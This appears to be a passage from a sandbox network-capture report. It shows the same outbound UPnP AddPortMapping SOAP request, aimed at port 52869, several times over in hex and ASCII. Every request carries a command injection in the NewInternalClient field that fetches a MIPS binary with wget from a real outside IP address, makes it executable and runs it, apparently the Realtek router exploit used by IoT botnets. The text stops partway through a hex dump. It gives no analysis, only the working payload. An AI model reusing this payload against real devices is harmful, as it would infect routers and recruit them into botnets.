                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:18.074250937 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:32.921890974 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:03.129065990 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      45192.168.2.1547272185.11.214.4752869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:06.685687065 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:10.906512022 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:17.050316095 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:29.081945896 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 